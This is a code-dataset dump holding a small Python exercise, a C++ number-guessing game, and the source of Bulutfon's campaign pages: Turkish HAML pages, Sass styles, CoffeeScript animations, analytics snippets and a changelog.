branch_name
stringclasses 22
values | content
stringlengths 18
81.8M
| directory_id
stringlengths 40
40
| languages
listlengths 1
36
| num_files
int64 1
7.38k
| repo_language
stringclasses 151
values | repo_name
stringlengths 7
101
| revision_id
stringlengths 40
40
| snapshot_id
stringlengths 40
40
|
---|---|---|---|---|---|---|---|---|
refs/heads/master
|
<repo_name>Kuralamudhu/pro1<file_sep>/pro1.py
p=int(input())
bk=[]
for s in range(0,p):
ja=input()
bk.append(ja)
bb=[]
for s in zip(*bk):
if(s.count(s[0])==len(s)):
bb.append(s[0])
else:
break
print(''.join(bb))
<file_sep>/pro2.py
from itertools import combinations
v,i=map(int,input().split())
d=len(str(v))
lst=list(combinations(str(v),d-i))
lst=sorted(lst)
print(*lst[0],dec='')
|
2925d43e72872c1a6503bd61c46f5aff5becb2a6
|
[
"Python"
] | 2 |
Python
|
Kuralamudhu/pro1
|
1f4576ef15baefab502b474dcd6b797cfd7cd3f6
|
3d5d1aa815d778c25df4001f661711abee3e6fb1
|
refs/heads/master
|
<file_sep>#include <iostream>
using namespace std;
int main() {
int num = rand() % 10 + 1;
int chk;
int guesses = 0;
while (chk != num && guesses < 3) {
cout << "Choose a number between 1 and 10: ";
cin >> chk;
guesses++;
if (chk != num && guesses <= 2) {
cout << "Try Again\n";
}
if (guesses == 3) {
cout << "Ran out of Guesses\n";
}
else if (chk == num) {
cout << "You Win!";
}
}
}
<file_sep># GuessingGameCPP
Simple Guessing Game made using C++
|
65c73ee151ef8fae9a15b9588b269141f866c963
|
[
"Markdown",
"C++"
] | 2 |
Markdown
|
K1ng04/GuessingGameCPP
|
c3f0914e5c3ba34ae21696547f23fa282ab06d37
|
a22b68f0831c918996712c11100ba0e51319f327
|
refs/heads/master
|
<repo_name>bulutfon/kampanya.bulutfon.com<file_sep>/source/assets/stylesheets/satis_ortakligi.css.sass
@import "compass"
@import "variables"
@import "animations"
@import "bootstrap"
body
background: #fff
font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif
font-weight: 400
font-size: 16px
line-height: 1.4em
overflow-x: hidden
a.join-now-btn
font-size: 1.8em
padding: 23px 40px
text-decoration: none
margin-top: 100px
text-align: center
a.join-now-second-btn
text-decoration: none
display: block
width: 200px
margin-top: 30px
text-align: center
font-size: 1.3em
padding: 12px 20px
.header
min-height: 965px
background-color: #434a54
padding-top: 35px
position: relative
.rh
display: block
margin: 0 auto
ul#primary-navigation, ul#secondary-navigation
margin: 35px 0px 0px
li
display: inline
padding: 10px 4px
font-size: 1.2em
letter-spacing: 0.05em
list-style: none
text-indent: -.5em
position: relative
margin-left: 20px
font-family: 'Open Sans', sans-serif
&:not(:first-child)
&:before
content: "•"
font-size: 28px
color: #fff
position: absolute
top: 12px
left: 0
margin-left: -7px
&:hover
&:before,a
color: #2dbd9a
a
color: #ffffff
text-decoration: none
&:hover
color: #2dbd9a
.big-bang
position: relative
z-index: 9
.join-now-btn
display: block
.stage-assets
z-index: 1
.slogan
color: #fff
font-family: 'Open Sans', sans-serif
letter-spacing: 2px
h1
padding-top: 30px
font-size: 40px
line-height: 49px
letter-spacing: 0px
font-weight: 200
h3
font-size: 22px
color: #FFFFFF
line-height: 34px
letter-spacing: 1px
font-weight: 200
margin-top: 0
.half
position: absolute
top: 0px
right: 0px
bottom: 0px
width: 50%
background: rgba(0,0,0,0.04)
display: none
.circle
height: 600px
width: 1200px
border-radius: 1200px 1200px 0 0
display: block
background: #505761
position: absolute
bottom: 0
left: 50%
margin-left: -600px
&.big
width: 1250px
height: 625px
margin-left: -625px
background: #4a515b
.campaign-illustration
position: absolute
bottom: 0
left: 50%
margin-left: -476px
margin-bottom: -50px
.calculator
width: 93px
height: 200px
display: block
position: absolute
bottom: 206px
left: 50%
margin-left: 383px
color: #fff
ul
position: relative
width: 93px
height: 200px
display: block
list-style: none
padding: 0
li
position: absolute
top: 150px
left: 0
margin-left: 35px
&:first-child
margin-left: 10px
&:last-child
margin-left: 60px
.signal
width: 100px
height: 100px
display: block
position: absolute
bottom: 441px
left: 50%
margin-left: -164px
.content-area
margin-top: 150px
.sidebar-info
background-color: #e2e8e8
min-height: 400px
border-radius: 20px
padding: 50px 0
.specs
padding: 0
list-style: none
display: table
.spanrow
display: table-row
&:not(:first-child)
span
img
padding-top: 30px
span
display: table-cell
text-align: center
img
display: block
margin: 0 auto
h3
font-weight: 400
p
font-weight: 200
color: #6c777f
.main
padding: 0 20px
p
font-size: 1.375em
line-height: 1.5em
font-weight: 200
color: #29343d
margin-bottom: 18px
h3
margin-top: 0
h1
padding: 30px 0
footer#footer
color: darken(gray, 20)
background-color: #181818
padding: 80px 0
min-height: 300px
margin-top: 80px
font:
size: .85em
weight: 300
.footer-nav
margin-top: 35px
ul
margin: 0
padding: 0
li
list-style: none
display: inline-block
float: left
padding-right: 10px
a
color: gray
text-decoration: none
&:hover
text-decoration: underline
.links
a
color: gray
text-decoration: none
&:hover
text-decoration: underline
.footer-copyrights
font-size: .85em
line-height: 1.3em
h5
font-size: 1.2em
letter-spacing: .025em
margin-bottom: 0
img.footer-logo
+opacity(.2)
p.social
a
text-decoration: none
color: darken(gray, 10)
&:hover
color: gray
.brand-logo
.col-md-4
margin-top: 20px
img
position: relative
float: left
margin-left: 43px
.brand-top
margin-top: 0
position: relative
float: left
@media (max-width: 767px)
.header
.slogan
h1
font-size: 20px
line-height: 30px
text-align: center
padding-top: 0
h3
font-size: 20px
text-align: center
@media (max-width: 480px)
#secondary-navigation
display: none<file_sep>/source/assets/stylesheets/_variables.css.sass
$bulutfon: #0fa4d8
$brand-success: #2dbd9a
.bulutfon-blue
color: $bulutfon<file_sep>/source/teknokent-firmalarina-ozel-kampanya.html.haml
- page 'Teknokent Firmalarına Özel Kampanya'
.content-area
.container
.row
.col-md-7.main
%a{name: 'kampanya-detaylari'}
%h3.bulutfon-blue KAMPANYA DETAYLARI
%h1 Teknokent Firmalarına Özel Kampanya
%p
Türkiye'de
%strong Teknokentler'de ofisi bulunan
ve telefon numaralarını Bulutfon AŞ'ye taşıyan bütün firmalar faydalanabilir.
%p
"Teknokent Firmalarına Özel" kampanyası kapsamında bir aylık
santral ücreti paketini ödemeniz durumunuzda takip eden onbir
ayın santral ücreti alınmayacaktır.
%p
Bu kampanya sadece santral ücretleri ile sınırlıdır.Konuşma ücretleri,
cihaz alımı ve diğer hizmetlerde bir indirim yoktur.
%p
Bu kampanyadan faydalanan aboneler bir üst santral pakete geçmek ister ise
paket yükseltimi için sistem bir yıllık fark ödemesi alacaktır.
%p
Kampanya hakkında daha fazla bilgi almak için
%span.bulutfon-blue
<EMAIL>
veya
%span.bulutfon-blue
0850 885 0 000
'dan bizlere ulaşabilirsiniz.
%p
%a{href:'https://www.bulutfon.com/accounts/new?r=teknokent_campaign',class:'join-now-second-btn btn-success btn-lg'} Hemen Katıl
.col-md-4.col-md-offset-1
.row.sidebar-info
.col-md-12
= partial 'layouts/partials/shared/specs'
<file_sep>/source/layouts/partials/shared/_specs.haml
%div.specs
%div.spanrow
%span
%img{alt: 'Logo', src: 'http://www.bulutfon.com/assets/icon-gift-228a34850a7b1301b6d5b139eb260e3f.png'}
%h3 850'li Numara
%p İster coğrafi olmayan 0850'li numaralar ile isterseniz mevcut numaranızı taşıyarak kullanabilirsiniz.
%span
%img{alt: 'Logo', src: 'https://www.bulutfon.com/assets/icon-game-console-2ee23b8965a26097481cd4d62be48420.png'}
%h3 Kolay Kullanım
%p Üst seviye santral özelliklerini her hangi bir uzmana ihtiyaç duymadan düzenleyebilirsiniz.
%div.spanrow
%span
%img{alt: 'Logo', src: 'https://www.bulutfon.com/assets/icon-control-panel-26e29fe3ec8025efbe68f06192f93065.png'}
%h3 Yönetim Paneli
%p İnternet üzerinden her özelliği istediğiniz gibi düzenleyebilmeniz ve yönetebilmeniz mümkünüdür.
%span
%img{alt: 'Logo', src: 'https://www.bulutfon.com/assets/icon-clouds-5fbb11a61aeb6af1e20f7142b70b06dc.png'}
%h3 Bulut Tabanlı
%p Platform ve mekandan bağımsız çalışmaktadır. Dolayısı ile bakım maliyeti 0'dır. Size sadece kullanmak kalır.<file_sep>/source/assets/javascripts/muhasebeci.js.coffee
#= require bootstrap
#= require vendor/retina-1.1.0.min
#= require _common
$ ->
generateNumbers = ->
a = Math.floor(Math.random() * 11) + 1
b = Math.floor(Math.random() * 11) + 1
c = a + b
$(".calculator li:nth-child(1)").html(a).css(opacity: 1).animate
top: 0
opacity: "0"
, 500, ->
$(".calculator li:nth-child(2)").html(b).css(opacity: 1).animate
top: 0
opacity: "0"
, 500, ->
$(".calculator li:nth-child(3)").html(c).css(opacity: 1).animate
top: 0
opacity: "0"
, 500, ->
$(".calculator li").css top: "150px"
setInterval (->
generateNumbers()
), 3000
<file_sep>/source/muhasebeci-ve-mali-musavirlere-ozel-kampanya.html.haml
- page 'Muhasebecilere Özel Kampanya'
.content-area
.container
.row
.col-md-7.main
%a{name: 'kampanya-detaylari'}
%h3.bulutfon-blue KAMPANYA DETAYLARI
%h1 Muhasebeci ve Mali Müşavirlere Özel Kampanya
%p
Türkiye'de
%strong serbest muhasebeci ve mali müşavirler,
kurumsal çalışsın, yüksek teknoloji kullansın istedik.
%p
Herhangi bir SMMM Odasına üye olan ve telefon numaralarını Bulutfon AŞ'ye taşıyan muhasebeci ve müşavirlerimize 1 ay sizden 11 ay bizden Bulutfon Sanal Santral abonelik fırsatını kaçırmayın.
%p
Bu kampanya sadece santral ücretleri ile sınırlıdır.Konuşma ücretleri, cihaz alımı ve diğer hizmetlerde bir indirim yoktur.
%p
Bu kampanyadan faydalanan aboneler bir üst santral pakete geçmek ister ise paket yükseltimi için sistem bir yıllık fark ödemesi alacaktır.
%p
Kampanya hakkında daha fazla bilgi almak için
%span.bulutfon-blue
<EMAIL>
veya
%span.bulutfon-blue
0850 885 0 000
'dan bizlere ulaşabilirsiniz.
%p
%a{href:'https://www.bulutfon.com/accounts/new?r=teknokent_campaign',class:'join-now-second-btn btn-success btn-lg'} Hemen Katıl
.col-md-4.col-md-offset-1
.row.sidebar-info
.col-md-12
= partial 'layouts/partials/shared/specs'
<file_sep>/source/layouts/satis_ortakligi_kampanyasi.haml
!!!5
%html{lang: 'en', class: 'no-js'}
%head
%meta{charset: 'utf-8'}/
%meta{content: 'IE=edge,chrome=1', 'http-equiv' => 'X-UA-Compatible'}/
%title= "Bulutfon - #{yield_content :title}"
%meta{content: '', name: 'description'}/
%meta{content: '',
name: 'keywords'}/
= stylesheet_link_tag 'satis_ortakligi',
'//netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css',
'fonts.googleapis.com/css?family=Open+Sans:400,300&subset=latin,latin-ext'
= favicon_tag 'favicon.png'
= yield_content :head
%body
%header.header
.container
.row
.col-lg-4.col-xs-12.col-sm-12
%a{href: '#', title: 'Bulutfon'}
=image_tag 'logo.png', class: 'hidden-sm hidden-xs'
=image_tag 'logo.png', class: 'visible-sm visible-xs responsive-logo'
.col-lg-8.col-xs-12.col-sm-12
%ul#primary-navigation.pull-right.hidden-sm.hidden-xs
%li.active
%a{href: 'https://www.bulutfon.com/'} Ana Sayfa
%li
%a{href: 'https://www.bulutfon.com/#pricing'} Fiyatlar ve Kayıt
%li
%a{href: 'https://www.bulutfon.com/#how-it-works'} Nasıl Çalışır?
%li
%a.last{href: 'https://www.bulutfon.com/#features'} Özellikler
%ul#secondary-navigation.visible-sm.visible-xs
%li.active
%a{href: 'https://www.bulutfon.com'} Ana Sayfa
%li
%a{href: 'https://www.bulutfon.com/#pricing'} Fiyatlar ve Kayıt
%li
%a{href: 'https://www.bulutfon.com/#how-it-works'} Nasıl Çalışır?
%li
%a.last{href: 'https://www.bulutfon.com/#features'} Özellikler
.row.big-bang
.col-lg-9.slogan
%h1
Bulutfon satış ortaklarından alınan ürünlerde,
%br/
%strong
ilk ödemeden sonraki 3 ay Bulutfon hediye!
%h3
Hediye abonelik veren satış ortaklarımız alt kısımda listelenmiştir.
%strong 1 ay sizden 3 ay bizden
Bulutfon Sanal Santral abonelik fırsatını kaçırmayın.
.col-lg-3.join
%a{href:'/satis-ortakligi-kampanyasi.html#satis-ortaklari',class:'join-now-btn btn-success btn-lg'} Hemen Katıl
.stage-assets
.half
.circle
.campaign-illustration
= image_tag 'sales-partners-illustration.png', alt: 'Satış Ortaklıği İllustrasyon'
= yield
= partial 'layouts/partials/shared/footer'
= partial 'layouts/partials/shared/foot'
= javascript_include_tag 'satis_ortakligi'<file_sep>/source/assets/stylesheets/_animations.css.sass
@-webkit-keyframes bubbleOne
10%
opacity: 1
30%
top: -10px
right: 60px
opacity: .75
40%
top: -20px
opacity: .45
70%
top: -30px
right: 55px
opacity: .25
90%
top: -40px
opacity: 0
@-webkit-keyframes bubbleTwo
10%
top: -10px
opacity: 1
30%
width: 15px
height: 15px
top: -10px
right: 60px
opacity: .75
40%
top: -40px
width: 20px
height: 20px
opacity: .45
70%
width: 30px
height: 30px
top: -70px
right: 55px
opacity: .25
90%
width: 40px
height: 40px
top: -100px
opacity: 0
.wifi-symbol
display: none
$circleColor: #ffffff
$size: 30px
[foo], &
display: block
position: absolute
top: 0
display: inline-block
width: $size
height: $size
right: 53px
margin-top: -45px
-ms-transform: rotate(-90deg) translate(-100px)
-moz-transform: rotate(-90deg) translate(-100px)
-o-transform: rotate(-90deg) translate(-100px)
-webkit-transform: rotate(-90deg) translate(-100px)
transform: rotate(-90deg) translate(-100px)
.wifi-circle
box-sizing: border-box
-moz-box-sizing: border-box
display: block
width: 100%
height: 100%
font-size: $size / 7
position: absolute
bottom: 0
left: 0
border-color: $circleColor
border-style: solid
border-width: 1em 1em 0 0
-webkit-border-radius: 0 100% 0 0
border-radius: 0 100% 0 0
opacity: 0
-o-animation: wifianimation 3s infinite
-moz-animation: wifianimation 3s infinite
-webkit-animation: wifianimation 3s infinite
animation: wifianimation 3s infinite
&.first
-o-animation-delay: 800ms
-moz-animation-delay: 800ms
-webkit-animation-delay: 800ms
animation-delay: 800ms
&.second
width: 5em
height: 5em
-o-animation-delay: 400ms
-moz-animation-delay: 400ms
-webkit-animation-delay: 400ms
animation-delay: 400ms
&.third
width: 3em
height: 3em
&.fourth
width: 1em
height: 1em
opacity: 1
background-color: $circleColor
-o-animation: none
-moz-animation: none
-webkit-animation: none
animation: none
@-o-keyframes wifianimation
0%
opacity: 0.4
5%
opactiy: 1
6%
opactiy: 0.1
100%
opactiy: 0.1
@-moz-keyframes wifianimation
0%
opacity: 0.4
5%
opactiy: 1
6%
opactiy: 0.1
100%
opactiy: 0.1
@-webkit-keyframes wifianimation
0%
opacity: 0.4
5%
opactiy: 1
6%
opactiy: 0.1
100%
opactiy: 0.1
@keyframes wifianimation
0%
opacity: 0.5
5%
opactiy: 1
6%
opactiy: 0.1
100%
opactiy: 0.1
<file_sep>/source/satis-ortakligi-kampanyasi.html.haml
- page 'Satış Ortaklığı Kampanyası'
.content-area
.container
.row
.col-md-7.main
%h3.bulutfon-blue KAMPANYA DETAYLARI
%h1 Satış Ortaklığı Kampanyası
%p
Bulutfon satış ortaklarından alınan ürünlerde,
%strong ilk ödemeden sonraki 3 ay Bulutfon hediye!
%p
Kampanya kapsamında satış ortağı firmalardan hizmet alırken kullanılan e-posta adresi ile Bulutfon aboneliği başlatanlara ilk ay ödemesi sonrası 3 ay hediye edilecektir.
%p
Kampanyadan faydalanan aboneler bir üst santral pakete geçmek ister ise paket yükseltimi için sistem 3 aylık fark ödemesi alacaktır.
%p
Bu kampanya sadece santral ücretleri ile sınırlıdır. Konuşma ücretleri, cihaz alımı ve diğer hizmetlerde bir indirim yoktur.
%p
Kampanya hakkında daha fazla bilgi almak için
%span.bulutfon-blue
<EMAIL>
veya
%span.bulutfon-blue
0850 885 0 000
'dan bizlere ulaşabilirsiniz.
%p
%a{href:'/satis-ortakligi-kampanyasi.html#satis-ortaklari',class:'join-now-second-btn btn-success btn-lg'} Hemen Katıl
.col-md-4.col-md-offset-1
.row.sidebar-info
.col-md-12
= partial 'layouts/partials/shared/specs'
.container
.row.text-center
%br
%h1#satis-ortaklari KAMPANYADAN YARARLANABİLECEĞİNİZ SATIŞ ORTAKLARIMIZ
%br
%br
.row.text-center.brand-logo
.col-md-4.brand-top
%a{href: 'http://www.bilintel.com/', target: '_blank'}
= image_tag 'satis_ortagi/bilintel.jpg', alt: 'Satış Ortaklarımız Bilintel'
.col-md-4
%a{href: 'http://www.corelux.com.tr/', target: '_blank'}
= image_tag 'satis_ortagi/corelux-300.jpg', alt: 'Satış Ortaklarımız Corelux'
.col-md-4
%a{href: 'http://www.divanyazilim.com/', target: '_blank'}
= image_tag 'satis_ortagi/divanyazilim-300.png', alt: 'Satış Ortaklarımız Divan Yazılım'
.col-md-4
%a{href: 'http://www.ilan.com.tr', target: '_blank'}
= image_tag 'satis_ortagi/ilancomtr-logo.png', alt: 'Satış Ortaklarımız İlan.com.tr'
.col-md-4
%a{href: 'http://www.internetbilisim.net/', target: '_blank'}
= image_tag 'satis_ortagi/internetbilisim-300.png', alt: 'Satış Ortaklarımız İnternet Bilişim'
.col-md-4
%a{href: 'http://lab2023.com', target: '_blank'}
= image_tag 'satis_ortagi/lab2023-300.jpg', alt: 'Satış Ortaklarımız Lab2023'
.col-md-4
%a{href: 'http://maestropanel.com/', target: '_blank'}
= image_tag 'satis_ortagi/maestropanel-300.png', alt: 'Satış Ortaklarımız Maestropanel'
.col-md-4
%a{href: 'http://www.mantiksal.com/', target: '_blank'}
= image_tag 'satis_ortagi/mantıksal-300.png', alt: 'Satış Ortaklarımız Mantıksal'
.col-md-4
%a{href: 'http://www.netinternet.com.tr/', target: '_blank'}
= image_tag 'satis_ortagi/netinternet.png', alt: 'Satış Ortaklarımız Netinternet'
.col-md-4
%a{href: 'http://www.omurtech.com/', target: '_blank'}
= image_tag 'satis_ortagi/omurtech.jpg', alt: 'Satış Ortaklarımız Ömürtech'
.col-md-4
%a{href: 'http://www.ozkula.com/', target: '_blank'}
= image_tag 'satis_ortagi/ozkula.png', alt: 'Satış Ortaklarımız Özkula'
.col-md-4
%a{href: 'http://www.webadam.com', target: '_blank'}
= image_tag 'satis_ortagi/webadam-300.png', alt: 'Satış Ortaklarımız Webadam'
<file_sep>/source/assets/javascripts/teknokent.js.coffee
#= require bootstrap
#= require vendor/retina-1.1.0.min
#= require _common
$ ->
bubble = undefined
bubble = (div, delay, wh) ->
setTimeout (->
div.animate(
top: 0
"margin-top": "-10px"
, 1000).animate(
"margin-top": "-5px"
, 300).animate
"margin-top": "-100px"
width: "40px"
height: "40px"
opacity: "0"
, 1500, ->
div.css
width: wh
height: wh
"margin-top": 0
top: 15
opacity: 1
return
return
), delay
return
setInterval (->
bubble $(".large"), 0, 10
bubble $(".medium"), 500, 15
bubble $(".normal"), 1000, 10
return
), 5000
return
<file_sep>/CHANGELOG.md
#### [Current]
#### 0.2.0
* [5274b80](../../commit/5274b80) - __(Tayfun Ozis ERIKAN)__ Bump version 0.2.0
* [74978d2](../../commit/74978d2) - __(Tayfun Ozis ERIKAN)__ Code refactoring and some improvements
* [44777e8](../../commit/44777e8) - __(Hakan ERSU)__ Teknokent sayfasi hatalar giderildi.
* [1078290](../../commit/1078290) - __(safiyesepetci)__ typo fixed
* [28d052b](../../commit/28d052b) - __(safiyesepetci)__ typo fixed
* [bd81e77](../../commit/bd81e77) - __(Tayfun Ozis ERIKAN)__ Some fixes were done
* [26e5988](../../commit/26e5988) - __(safiyesepetci)__ resize logo - sales-partners-illustration
* [48c0e3d](../../commit/48c0e3d) - __(Tayfun Ozis ERIKAN)__ Some fixes were done
* [7375496](../../commit/7375496) - __(safiyesepetci)__ update brand logo - sass file
* [4e3d7f1](../../commit/4e3d7f1) - __(safiyesepetci)__ update brand logo - sass file
* [1074e40](../../commit/1074e40) - __(safiyesepetci)__ update brand logo
* [2a4e57b](../../commit/2a4e57b) - __(safiyesepetci)__ resize logo
* [fd0118c](../../commit/fd0118c) - __(safiyesepetci)__ resize logo
* [66b9c52](../../commit/66b9c52) - __(safiyesepetci)__ resize logo
* [adaa3b9](../../commit/adaa3b9) - __(safiyesepetci)__ sales partners logo list update
* [e66fe97](../../commit/e66fe97) - __(Osman Makal)__ Size dzenlemesi
* [fe7b6f5](../../commit/fe7b6f5) - __(Osman Makal)__ Resimler eklendi
* [3d55c24](../../commit/3d55c24) - __(Osman Makal)__ Resim Yklendi
* [d537546](../../commit/d537546) - __(Onur Ozgur OZKAN)__ Google adwords eklendi.
* [05c703f](../../commit/05c703f) - __(Onur Ozgur OZKAN)__ Satis ortakligi kampanyasi.
Conflicts:
config.rb
* [ea35acb](../../commit/ea35acb) - __(Safiye Sepetci)__ Fix bug
* [579821d](../../commit/579821d) - __(leylakapi)__ Updated typo
* [ed2edea](../../commit/ed2edea) - __(leylakapi)__ z-index try fix bug
* [3c66327](../../commit/3c66327) - __(Safiye Sepetci)__ Try to fix
* [6c12ecc](../../commit/6c12ecc) - __(Hakan ERSU)__ Uc arti bir kampanyasi
* [9fc12e2](../../commit/9fc12e2) - __(Onur Ozgur OZKAN)__ Merge remote-tracking branch 'origin/feature/one_plus_three_campaign_bulutfon'
* [0077a72](../../commit/0077a72) - __(Safiye Sepetci)__ try fixed-bug
* [67add53](../../commit/67add53) - __(Safiye Sepetci)__ try to fix bug
Conflicts:
config.rb
* [b5966c7](../../commit/b5966c7) - __(Safiye Sepetci)__ Edit image of illustrator
* [d612f73](../../commit/d612f73) - __(Safiye Sepetci)__ Add one+three campaign to bulutfon
* [e8cd541](../../commit/e8cd541) - __(Hakan ERSU)__ Padding fix
Conflicts:
source/assets/stylesheets/muhasebeci.css.sass
source/layouts/muhasebeci.haml
source/muhasebeci-ve-mali-musavirlere-ozel-kampanya.html.haml
* [06081c1](../../commit/06081c1) - __(Hakan ERSU)__ Muhasebe layout added
* [0e91f2f](../../commit/0e91f2f) - __(Onur Ozgur OZKAN)__ Muhasebeci resimleri eklendi.
* [f6d38dc](../../commit/f6d38dc) - __(Onur Ozgur OZKAN)__ Muhasebeci kampanyas.
* [b2a4892](../../commit/b2a4892) - __(Onur Ozgur OZKAN)__ Numara aktarma olgusu eklendi.
* [0b76875](../../commit/0b76875) - __(Onur Ozgur OZKAN)__ Typo fixed.
#### 0.1.0
* [459cf91](../../commit/459cf91) - __(Tayfun Ozis ERIKAN)__ Bump version 0.1.0
* [5c5a8c2](../../commit/5c5a8c2) - __(Tayfun Ozis ERIKAN)__ Improvements and additions were done. - Layouts was improved. - Deploy settings was enabled. - Retina.js was enabled. - Github page settins was enabled.
* [95d6d34](../../commit/95d6d34) - __(Hakan ERSU)__ Footer link fix
* [32811b7](../../commit/32811b7) - __(Hakan ERSU)__ Footer added
* [8e40c09](../../commit/8e40c09) - __(Hakan ERSU)__ Signal improvement
* [10cd6fe](../../commit/10cd6fe) - __(Hakan ERSU)__ Phone signal added. http://codepen.io/johholl/pen/DGfem
* [6c8a1b4](../../commit/6c8a1b4) - __(Hakan ERSU)__ Sidebar position fix
* [ad783a2](../../commit/ad783a2) - __(Hakan ERSU)__ Slogan fix
* [20dc77a](../../commit/20dc77a) - __(Hakan ERSU)__ Minor font fixes
Conflicts:
source/layouts/partials/_header.haml
* [5bd845b](../../commit/5bd845b) - __(Hakan ERSU)__ Some responsive features added
* [780501b](../../commit/780501b) - __(Hakan ERSU)__ Javascript bubbles added.Chrome will work both of them.
* [a8a9a1e](../../commit/a8a9a1e) - __(Tayfun Ozis ERIKAN)__ Minor improvements..
* [1263d49](../../commit/1263d49) - __(Hakan ERSU)__ Font fixes for main content area.
* [c27a92a](../../commit/c27a92a) - __(Hakan ERSU)__ Font & z-index fix.
* [38b7f25](../../commit/38b7f25) - __(Hakan ERSU)__ Font size and spacing fix.
* [2af2d61](../../commit/2af2d61) - __(Hakan ERSU)__ Structure and animations complated
* [5ea15d3](../../commit/5ea15d3) - __(Tayfun Ozis ERIKAN)__ Readme file was added
* [e38a620](../../commit/e38a620) - __(Tayfun Ozis ERIKAN)__ First commit
<file_sep>/source/layouts/partials/shared/_trackers.haml
:javascript
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-12243799-3']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
/ Google adwords
:javascript
/* <![CDATA[ */
var google_conversion_id = 975490477;
var google_custom_params = window.google_tag_params;
var google_remarketing_only = true;
/* ]]> */
%script{src: '//www.googleadservices.com/pagead/conversion.js', type: 'text/javascript'}
:cdata
%noscript
%div{style: 'display:inline;'}
%img{alt: '', height: '1', src: '//googleads.g.doubleclick.net/pagead/viewthroughconversion/975490477/?value=0&guid=ON&script=0', style: 'border-style:none;', width: '1'}/
<file_sep>/source/assets/javascripts/_common.js.coffee
# Smooth scroll
$("a[href*=#]:not([href=#])").click ->
if location.pathname.replace(/^\//, "") is @pathname.replace(/^\//, "") and location.hostname is @hostname
target = $(@hash)
target = (if target.length then target else $("[name=" + @hash.slice(1) + "]"))
if target.length
$("html,body").animate
scrollTop: target.offset().top - 20
,
duration: 800
specialEasing:
width: "linear"
height: "easeOutCubic"
false<file_sep>/source/assets/javascripts/satis_ortakligi.js.coffee
#= require bootstrap
#= require vendor/retina-1.1.0.min<file_sep>/README.md
# Bulutfon Campaigns
This is Bulutfon campaign pages<file_sep>/source/assets/stylesheets/teknokent.css.sass
@import "compass"
@import "variables"
@import "animations"
@import "bootstrap"
@import "common"
.header
min-height: 965px
background-color: #434a54
padding-top: 35px
position: relative
.rh
display: block
margin: 0 auto
ul#primary-navigation, ul#secondary-navigation
margin: 35px 0px 0px
li
display: inline
padding: 10px 4px
font-size: 1.2em
letter-spacing: 0.05em
list-style: none
text-indent: -.5em
position: relative
margin-left: 20px
font-family: 'Open Sans', sans-serif
&:not(:first-child)
&:before
content: "•"
font-size: 28px
color: #fff
position: absolute
top: 12px
left: 0
margin-left: -7px
&:hover
&:before,a
color: #2dbd9a
a
color: #ffffff
text-decoration: none
&:hover
color: #2dbd9a
.big-bang
position: relative
z-index: 9
.join-now-btn
display: block
.stage-assets
z-index: 1
.slogan
color: #fff
font-family: 'Open Sans', sans-serif
letter-spacing: 2px
h1
padding-top: 30px
font-size: 40px
line-height: 49px
letter-spacing: 0px
font-weight: 200
h3
font-size: 22px
color: #FFFFFF
line-height: 34px
letter-spacing: 1px
font-weight: 200
margin-top: 0
.half
position: absolute
top: 0px
right: 0px
bottom: 0px
width: 50%
background: rgba(0,0,0,0.04)
display: none
.circle
height: 600px
width: 1200px
border-radius: 1200px 1200px 0 0
display: block
background: #505761
position: absolute
bottom: 0
left: 50%
margin-left: -600px
&.big
width: 1250px
height: 625px
margin-left: -625px
background: #4a515b
.campaign-teknokent-illustration
position: absolute
bottom: 0
left: 50%
margin-left: -476px
margin-bottom: -50px
.flask
width: 125px
height: 275px
display: block
position: absolute
bottom: 120px
left: 50%
margin-left: 356px
.inner-flask
position: relative
width: 100%
height: 135px
margin-top: 140px
display: block
&:before
position: absolute
content: ""
background-color: #ffffff
width: 10px
height: 10px
border-radius: 50%
top: 10px
right: 60px
opacity: 0
-webkit-animation-name: bubbleOne
-webkit-animation-duration: 4s
-webkit-animation-delay: 0
-webkit-animation-timing-function: linear
-webkit-animation-iteration-count: infinite
&:after
position: absolute
content: ""
background-color: #ffffff
width: 10px
height: 10px
border-radius: 50%
top: 0px
right: 60px
opacity: 0
-webkit-animation-name: bubbleTwo
-moz-animation-name: bubbleTwo
-ms-animation-name: bubbleTwo
-o-animation-name: bubbleTwo
animation-name: bubbleTwo
-webkit-animation-duration: 4s
-moz-animation-duration: 4s
-ms-animation-duration: 4s
-o-animation-duration: 4s
animation-duration: 4s
-webkit-animation-delay: 0
-moz-animation-delay: 0
-ms-animation-delay: 0
-o-animation-delay: 0
animation-delay: 0
-webkit-animation-timing-function: linear
-moz-animation-timing-function: linear
-ms-animation-timing-function: linear
-o-animation-timing-function: linear
animation-timing-function: linear
-webkit-animation-iteration-count: infinite
-moz-animation-iteration-count: infinite
-ms-animation-iteration-count: infinite
-o-animation-iteration-count: infinite
animation-iteration-count: infinite
.bubble
width: 10px
height: 10px
display: block
background: #f5f7f6
border-radius: 50%
position: absolute
top: 15px
right: 54px
.medium
width: 15px
height: 15px
.signal
width: 100px
height: 100px
display: block
position: absolute
bottom: 450px
left: 50%
margin-left: -150px
.content-area
margin-top: 150px
.sidebar-info
background-color: #e2e8e8
min-height: 400px
border-radius: 20px
padding: 50px 0
.specs
padding: 0
list-style: none
display: table
.spanrow
display: table-row
&:not(:first-child)
span
img
padding-top: 30px
span
display: table-cell
text-align: center
img
display: block
margin: 0 auto
h3
font-weight: 400
p
font-weight: 200
color: #6c777f
.main
padding: 0 20px
p
font-size: 1.375em
line-height: 1.5em
font-weight: 200
color: #29343d
margin-bottom: 18px
h3
margin-top: 0
h1
padding: 30px 0
footer#footer
color: darken(gray, 20)
background-color: #181818
padding: 80px 0
min-height: 300px
margin-top: 80px
font:
size: .85em
weight: 300
.footer-nav
margin-top: 35px
ul
margin: 0
padding: 0
li
list-style: none
display: inline-block
float: left
padding-right: 10px
a
color: gray
text-decoration: none
&:hover
text-decoration: underline
.links
a
color: gray
text-decoration: none
&:hover
text-decoration: underline
.footer-copyrights
font-size: .85em
line-height: 1.3em
h5
font-size: 1.2em
letter-spacing: .025em
margin-bottom: 0
img.footer-logo
+opacity(.2)
p.social
a
text-decoration: none
color: darken(gray, 10)
&:hover
color: gray
@media (max-width: 767px)
.header
.slogan
h1
font-size: 20px
line-height: 30px
text-align: center
padding-top: 0
h3
